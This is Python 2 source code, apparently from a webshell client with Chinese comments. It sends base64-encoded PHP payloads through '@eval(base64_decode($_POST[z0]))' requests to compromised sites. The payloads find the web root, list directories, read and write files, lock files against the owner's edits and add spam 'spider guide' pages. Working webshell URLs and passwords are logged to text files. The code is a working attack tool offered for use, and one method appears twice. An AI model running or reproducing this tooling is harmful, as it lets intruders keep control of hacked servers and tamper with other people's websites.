def s_win_Linux_file(self, url, path): #锁文件 #LINUX 在同路径下创建一个 .xxxx.php.swap 就可以禁止编辑这个问题 #win32 锁文件 chmod('./'.$file,0444); try: if (self.win_Linux == "WinNT") or (self.win_Linux == "null"): PHP_data = str(php_data.s_win_file) #锁WIN32文件 PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 data_base64 = "%s" % (base64.b64encode(PHP_data)) params = "=@eval(base64_decode($_POST[z0]));&z0=%s&z1=%s" % ( urllib.quote(data_base64), path) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) data2 = g.re_data(data) #正则返回的结果 #log data = "%s|%s|%s" % (url, str(path), data2) #print data self.TXT_file_add("log/win_Linux_file.txt", data) if (self.win_Linux == "Linux") or (self.win_Linux == "FreeBSD"): PHP_data = str(php_data.s_LINUX_file) #锁LINUX文件 PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 data_base64 = "%s" % (base64.b64encode(PHP_data)) params = "=@eval(base64_decode($_POST[z0]));&z0=%s&z1=%s" % ( urllib.quote(data_base64), self.Linux_path(path) ) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) data2 = g.re_data(data) #正则返回的结果 #log data = "%s|%s|%s" % (url, str(path), data2) #print data self.TXT_file_add("log/win_Linux_file.txt", data) except Exception, e: print e return 0
def open_php_fie_name2(self, path_data): #遍历要修改文件名 try: PHP_data = str( php_data.PHP_bl_path) #获取遍历文件 .decode('utf-8').encode('gbk') PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 #path_data = "index.php|forum.php|conn.php|CONN.php|home.php|common.inc.php|global.php" #路径 #path_data = "conn2.php|conn.php" #路径 data_base64 = "%s" % (base64.b64encode(PHP_data)) params = "=@eval(base64_decode($_POST[z0]));&z0=%s&z1=%s" % ( urllib.quote(data_base64), base64.b64encode(path_data) ) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) data = g.re_data(data) #正则返回的结果 if not data: print u"php_ok_null.txt没有读取到数据 is 0 null...." websehll = "%s|%s" % (self.url, self.password) self.TXT_file_add("php_ok_null.txt", str(websehll)) return False ss = data.split("$") self.id1 = 0 id2 = len(ss) for i2 in ss: if len(i2) <= 1: continue #跳过 这一次 self.path_Queue.put(i2, 0.3) #插入队列 while not self.path_Queue.empty(): #判断队列是否为空 try: threads = [] #线程 for i in range(self.thread_link): #nthreads=10 创建10个线程 self.id1 += 1 threads.append(self.time_sleep(i + 1, id2)) for t in threads: t.start() #开始线程 for t in threads: t.join() #等待线程,保持主进程 except Exception, e: #print "1111111111",e pass # i="/home/a83iztfy4f/domains/wulinzr.com/public_html/0405286/index.html" # B_M=g.asp_aspx_php_htm_html(str(i)) #查看文件格式 # #asp aspx php htm html null # url = g.ww_path(g.get_domain(self.url, 1), self.web_path, str(i)) # if (B_M=="htm")or(B_M=="html"): # #print "%s----htm_html.txt"%(str(url)) # str_data="thread:%d %s%s"%(self.TH,0,str(url)) # if self.bj_file_html(url,str(i)): # str_data="%s--htm_html.txt ok"%(str_data) # self.TXT_file_add("log/add_ok.txt",str(url)) # print str_data # else: # str_data="%s no"%(str_data) # self.TXT_file_add("log/add_no.txt",str(url)) # print str_data # return 0 #print "3333333333333333333333333333333" return 0
def www_web_path2(self): #获取网站根目录 try: PHP_data = str(php_data.php_www_path) #获取遍历文件 .decode('utf-8').encode('gbk') PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 data_base64 = "%s" % (base64.b64encode(PHP_data)) eval_data="%s"%(urllib.quote("@eval(base64_decode($_POST[z0]));")) params = "=%s&z0=%s" % (eval_data,urllib.quote(data_base64)) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) data2 = g.re_data(data) #正则返回的结果 return data2 except Exception,e: #print e return 0
def open_file(self, path): #读取文件 try: PHP_data = str(php_data.php_open_file ) #获取遍历文件 .decode('utf-8').encode('gbk') PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 data_base64 = "%s" % (base64.b64encode(PHP_data)) params = "=@eval(base64_decode($_POST[z0]));&z0=%s&z1=%s" % ( urllib.quote(data_base64), path) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) data2 = g.re_data(data) #正则返回的结果 return data2 except Exception, e: #print e return 0
def PHP_ml_list(self,path): #测试目录文件数量 try: PHP_data = str(php_data.PHP_ml_list) #获取遍历文件 .decode('utf-8').encode('gbk') PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 #print PHP_data data_base64 = "%s" % (base64.b64encode(PHP_data)) eval_data="%s"%(urllib.quote("@eval(base64_decode($_POST[z0]));")) params = "=%s&z0=%s&z1=%s" % (eval_data,urllib.quote(data_base64),base64.b64encode(path)) #quote URL编码 #print params data = eval.post_eval_data(self.url, self.password, params) data2 = g.re_data(data) #正则返回的结果 return data2 except Exception,e: #print e return 0
def php_robots_add(self, path): #添加蜘蛛引导页 try: PHP_data = str( php_data.robots_add) #获取遍历文件 .decode('utf-8').encode('gbk') PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 #print PHP_data data_base64 = "%s" % (base64.b64encode(PHP_data)) eval_data = "%s" % ( urllib.quote("@eval(base64_decode($_POST[z0]));")) params = "=%s&z0=%s&z1=%s" % (eval_data, urllib.quote(data_base64), base64.b64encode(path)) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) #data2 = g.re_data(data) #正则返回的结果 #return data2 return 1 except Exception, e: #print e return 0
def php_add_file(self, path, data, path2): #写入文件和内容 try: PHP_data = str(php_data.php_add_file) PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 #print PHP_data data_base64 = "%s" % (base64.b64encode(PHP_data)) eval_data = "%s" % ( urllib.quote("@eval(base64_decode($_POST[z0]));")) params = "=%s&z0=%s&z1=%s&z2=%s&z3=%s" % ( eval_data, urllib.quote(data_base64), base64.b64encode(path), urllib.quote(base64.b64encode(data)), base64.b64encode(path2) ) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) data2 = g.re_data(data) #正则返回的结果 return data2 except Exception, e: #print e return 0
def write_file(self, path, data): #写入文件 try: PHP_data = str( php_data.write_file) #获取遍历文件 .decode('utf-8').encode('gbk') PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 data = self.str_to_ascii(data) #print urllib.unquote(data) data = data.replace('%', '') #.replace(',','') #替换字符串 #print data data_base64 = "%s" % (base64.b64encode(PHP_data)) params = "=@eval(base64_decode($_POST[z0]));&z0=%s&z1=%s&z2=%s" % ( urllib.quote(data_base64), base64.b64encode(path), data ) #quote URL编码 #print params data = eval.post_eval_data(self.url, self.password, params) data2 = g.re_data(data) #正则返回的结果 return data2 except Exception, e: print e return 0
def open_php_fie_name2(self, path_data): #遍历要修改文件名 try: PHP_data = str( php_data.PHP_bl_path) #获取遍历文件 .decode('utf-8').encode('gbk') PHP_data = g.QC_PHP(PHP_data) #清除PHP中没有用的数据 #path_data = "index.php|forum.php|conn.php|CONN.php|home.php|common.inc.php|global.php" #路径 #path_data = "conn2.php|conn.php" #路径 data_base64 = "%s" % (base64.b64encode(PHP_data)) params = "=@eval(base64_decode($_POST[z0]));&z0=%s&z1=%s" % ( urllib.quote(data_base64), base64.b64encode(path_data) ) #quote URL编码 data = eval.post_eval_data(self.url, self.password, params) data = g.re_data(data) #正则返回的结果 if not data: print u"php_ok_null.txt没有读取到数据 is 0 null...." websehll = "%s|%s" % (self.url, self.password) self.TXT_file_add("php_ok_null.txt", str(websehll)) return False ss = data.split("$") self.id1 = 0 id2 = len(ss) for i2 in ss: if len(i2) <= 1: continue #跳过 这一次 self.path_Queue.put(i2, 0.3) #插入队列 while not self.path_Queue.empty(): #判断队列是否为空 try: threads = [] #线程 for i in range(self.thread_link): #nthreads=10 创建10个线程 self.id1 += 1 threads.append(self.time_sleep(i + 1, id2)) for t in threads: t.start() #开始线程 for t in threads: t.join() #等待线程,保持主进程 except Exception, e: #print "1111111111",e pass return 0